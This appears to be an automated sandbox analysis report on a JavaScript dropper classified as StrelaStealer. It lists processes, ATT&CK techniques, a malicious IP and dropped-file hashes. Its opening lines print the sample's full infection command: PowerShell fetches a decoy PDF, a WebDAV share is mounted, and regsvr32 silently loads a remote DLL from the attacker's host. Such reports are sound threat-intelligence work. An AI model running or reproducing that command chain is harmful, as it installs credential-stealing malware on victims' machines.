Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\202983042421568.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\202983042421568.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
19165129872063820912.js	13%	Virustotal		Browse
19165129872063820912.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false	high
http://crl.ver)	svchost.exe, 00000008.00000002.3065351823.0000023C1D600000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.7.dr	false	high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false	high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false	high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1818352831.0000023C1D8C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false	high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1821529068.000001E6A3ACB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1821358137.000001E6A3A98000.00000004.00000020.00020000.00000000.sdmp	false	high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1818352831.0000023C1D8C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589082
Start date and time:	2025-01-11 09:19:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	19165129872063820912.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/60@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 18.213.11.84, 50.16.47.176, 54.224.241.105, 34.237.241.83, 2.16.168.107, 2.16.168.105, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 23.200.0.21, 23.200.0.33, 4.175.87.197, 23.47.168.24, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:20:08	API Interceptor	21x Sleep call for process: powershell.exe modified
03:20:11	API Interceptor	1x Sleep call for process: net.exe modified
03:20:11	API Interceptor	2x Sleep call for process: svchost.exe modified
03:20:24	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	733422181158883785.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2836992752554325080.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1274320496157183071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10323218772870612560.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	106161149748268293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	599461291572316126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19559251331544623964.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1110167182254330320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6942228092691529249.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	944924352317221058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	904223203151262489.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	733422181158883785.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2836992752554325080.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1274320496157183071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	44462735347649449.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10323218772870612560.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2634817597621928878.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26804379891331232.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2598020871582219525.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2014717258213104107.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073486246265411
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrk:KooCEYhgYEL0In
MD5:	57365F5D473FEDC6F561975874177055
SHA1:	8A663E1D8B1FE7F5B80C15A24915E9992927040B
SHA-256:	6A72931867C4634C703E09D840C1D1F0B7C12CF8FCDC035CEE46E98CF876454A
SHA-512:	19507961E4E84EB05152DD2FF05260C7E75F6D6B9AF996E852EF1EACD7D7FD90E8431610D03D8502DBB1886D042EC1A7B17B9B9850CEFD0A3A6B2ACBDD6E9BB8
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x6dd3130a, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221224739980835
Encrypted:	false
SSDEEP:	1536:BSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Baza/vMUM2Uvz7DO
MD5:	EB5C35BA88CC4606E8701C0595F0CA66
SHA1:	46A672F7031829C41186F5C72E069F6123CD6140
SHA-256:	159C45BE21AC5C784099C7B8D0E8DCD32FC8656D8CFD882E25F4B6256BFD5AD0
SHA-512:	93CACE9A563BE859F5E0FF3A4FF3B4F5080194B2D54311F29BFB8C48932368CD5099D0E42027001D53A9E57F079D13013B96DBAEE1EF83D98D1369955EB00147
Malicious:	false
Preview:	m...... .......A.......X\...;...{......................0.!..........{A......}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{...................................1q......}_..................1.......}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07655199238723914
Encrypted:	false
SSDEEP:	3:KoBllyYeernrCjn13a/tOrYUvollcVO/lnlZMxZNQl:KoBl8ziW53qwcOewk
MD5:	81D2B8196281C7CBE772CBAA101F166D
SHA1:	D142290F00B5DB168FA8ECB5399C463210EF8CFE
SHA-256:	A1ECD0143588326A96EE2A9837F6A45001C056C1605D5F9CAE9411F6B7634A28
SHA-512:	E63ACF60F3E851F1C14C203F62A18C950DFBE9DB955F3735C66E20433EE8F0F2E72C33D0B9A511EC910E41FE0798942F4E40C6537A54B4AB813EFED0BF636E28
Malicious:	false
Preview:	.r.......................................;...{.......}.......{A..............{A......{A..........{A].................1.......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.19694416010438
Encrypted:	false
SSDEEP:	6:iOlyeq2Pwkn2nKuAl9OmbnIFUtHPZZmwpPzkwOwkn2nKuAl9OmbjLJ:7MevYfHAahFUth/N5JfHAaSJ
MD5:	7B7C10EE0E57D2613B8E110A31EDC4FF
SHA1:	59CE3D9D5674A17F6613C5E9949A3FDFC1E5D5A0
SHA-256:	46964B92820157A29BEFDFC7EB1198AF6F7040F68F85481A797DE1A2C9CCAA55
SHA-512:	2096348A6B25862D31AE39E9F8B783E1B05275E1E351DCE2FA696D92E82C2CBE20BA0B9FF795828A4D35A5B3CA73A6D8E5DE47C844634724B994298162574F61
Malicious:	false
Preview:	2025/01/11-03:20:11.762 b64 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-03:20:11.765 b64 Recovering log #3.2025/01/11-03:20:11.765 b64 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.19694416010438
Encrypted:	false
SSDEEP:	6:iOlyeq2Pwkn2nKuAl9OmbnIFUtHPZZmwpPzkwOwkn2nKuAl9OmbjLJ:7MevYfHAahFUth/N5JfHAaSJ
MD5:	7B7C10EE0E57D2613B8E110A31EDC4FF
SHA1:	59CE3D9D5674A17F6613C5E9949A3FDFC1E5D5A0
SHA-256:	46964B92820157A29BEFDFC7EB1198AF6F7040F68F85481A797DE1A2C9CCAA55
SHA-512:	2096348A6B25862D31AE39E9F8B783E1B05275E1E351DCE2FA696D92E82C2CBE20BA0B9FF795828A4D35A5B3CA73A6D8E5DE47C844634724B994298162574F61
Malicious:	false
Preview:	2025/01/11-03:20:11.762 b64 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-03:20:11.765 b64 Recovering log #3.2025/01/11-03:20:11.765 b64 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.148237604427756
Encrypted:	false
SSDEEP:	6:iOlBRq2Pwkn2nKuAl9Ombzo2jMGIFUtHBcoFZZmwpB5cPkwOwkn2nKuAl9Ombzos:7LRvYfHAa8uFUthjFZ//CP5JfHAa8RJ
MD5:	AA742CD549C35EA0FF6EEB359E9911BB
SHA1:	C5559559C862E479B5B8D9F45D730A0FF09A3312
SHA-256:	461BD10BFEDADD13581B067DA0098D125A78EF261AA9F2053FB051866D622E9A
SHA-512:	5F70ECF4A63D41C24A600C04B5DBC791A18F175DE9C6ACB0FD22182D1B9F2E01B1E84EABFBB512DEAAFC84906CE5FD031B5F18D73E5BEC31A8A6218FBBB20C7D
Malicious:	false
Preview:	2025/01/11-03:20:11.770 1c94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-03:20:11.771 1c94 Recovering log #3.2025/01/11-03:20:11.772 1c94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.148237604427756
Encrypted:	false
SSDEEP:	6:iOlBRq2Pwkn2nKuAl9Ombzo2jMGIFUtHBcoFZZmwpB5cPkwOwkn2nKuAl9Ombzos:7LRvYfHAa8uFUthjFZ//CP5JfHAa8RJ
MD5:	AA742CD549C35EA0FF6EEB359E9911BB
SHA1:	C5559559C862E479B5B8D9F45D730A0FF09A3312
SHA-256:	461BD10BFEDADD13581B067DA0098D125A78EF261AA9F2053FB051866D622E9A
SHA-512:	5F70ECF4A63D41C24A600C04B5DBC791A18F175DE9C6ACB0FD22182D1B9F2E01B1E84EABFBB512DEAAFC84906CE5FD031B5F18D73E5BEC31A8A6218FBBB20C7D
Malicious:	false
Preview:	2025/01/11-03:20:11.770 1c94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-03:20:11.771 1c94 Recovering log #3.2025/01/11-03:20:11.772 1c94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF55839a.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\bf3360e0-2081-4e64-82f8-e314c5c3328d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.952062896880206
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq6sBdOg2HrAcaq3QYiubInP7E4TX:Y2sRdsCdMHP3QYhbG7n7
MD5:	E9D9DA3F55780C02DFD4182490D95D8F
SHA1:	9D4129028D11C74176FF90F321FBD39D178D49BC
SHA-256:	50689E353DD5A502A3DD253747565B24E29998760DC8494D28EC5658784B52F7
SHA-512:	0DC5FFFEB4D3265AFC05E4949DAF0F35D654792FBB2083463ED5A3B70F402945F4A4D4DF2F44B4017A65ACBEEAF6833E7918FB4ED78B7951A3067F51F1C1BA66
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381143624240262","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":121051},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f764cdc6-1a33-4a15-9e78-c74aaadb0832.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.253814333701166
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7MNQCuz:etJCV4FiN/jTN/2r8Mta02fEhgO73gob
MD5:	D7214D2F8351B9C0577CE7E34DFC1593
SHA1:	679E88BA4BE72FF7D170D030179DA9318B9C25FF
SHA-256:	E866F4D7EF0DC01978EF70EF0E10CF5B48C7653C91CE0A56C272DEBF06BEAFFE
SHA-512:	777262B81C8ABE52420812C669AF938BF450616741B117B55521620CD6F7054FD4F10B3AE831B2BE0E9B8887AFE9AE8FDDCD956F3FFBCA68F7559E76CC539A46
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.179911754126761
Encrypted:	false
SSDEEP:	6:iOlZF5q2Pwkn2nKuAl9OmbzNMxIFUtHIgXZmwpbFkkwOwkn2nKuAl9OmbzNMFLJ:7XvYfHAa8jFUtos/BFk5JfHAa84J
MD5:	D919A4D87C21DB5A66932DEA39D8DEA8
SHA1:	B4A09A36F7EAA15A60489C0643EEF169BFE65C5E
SHA-256:	F00651F59340128678C9DA54925953A2FFF887445557B39D25B64B23D600B0DE
SHA-512:	FF2B4901CE3BF157E1FB0C560B88E3980B0F5574DE9EDBA3E43B6916B6E529360DE9D8D8D684808D8CD4216D8CCC6C660A1607971400C435EED68BD210E9CB59
Malicious:	false
Preview:	2025/01/11-03:20:11.884 1c94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-03:20:11.885 1c94 Recovering log #3.2025/01/11-03:20:11.886 1c94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.179911754126761
Encrypted:	false
SSDEEP:	6:iOlZF5q2Pwkn2nKuAl9OmbzNMxIFUtHIgXZmwpbFkkwOwkn2nKuAl9OmbzNMFLJ:7XvYfHAa8jFUtos/BFk5JfHAa84J
MD5:	D919A4D87C21DB5A66932DEA39D8DEA8
SHA1:	B4A09A36F7EAA15A60489C0643EEF169BFE65C5E
SHA-256:	F00651F59340128678C9DA54925953A2FFF887445557B39D25B64B23D600B0DE
SHA-512:	FF2B4901CE3BF157E1FB0C560B88E3980B0F5574DE9EDBA3E43B6916B6E529360DE9D8D8D684808D8CD4216D8CCC6C660A1607971400C435EED68BD210E9CB59
Malicious:	false
Preview:	2025/01/11-03:20:11.884 1c94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-03:20:11.885 1c94 Recovering log #3.2025/01/11-03:20:11.886 1c94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444754111535077
Encrypted:	false
SSDEEP:	384:Ce8ci5t+iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:kRs3OazzU89UTTgUL
MD5:	F6DCE425A829B638D330E679A18E0553
SHA1:	37DC42E2FD455E4BD23682498B39E7D869258ADC
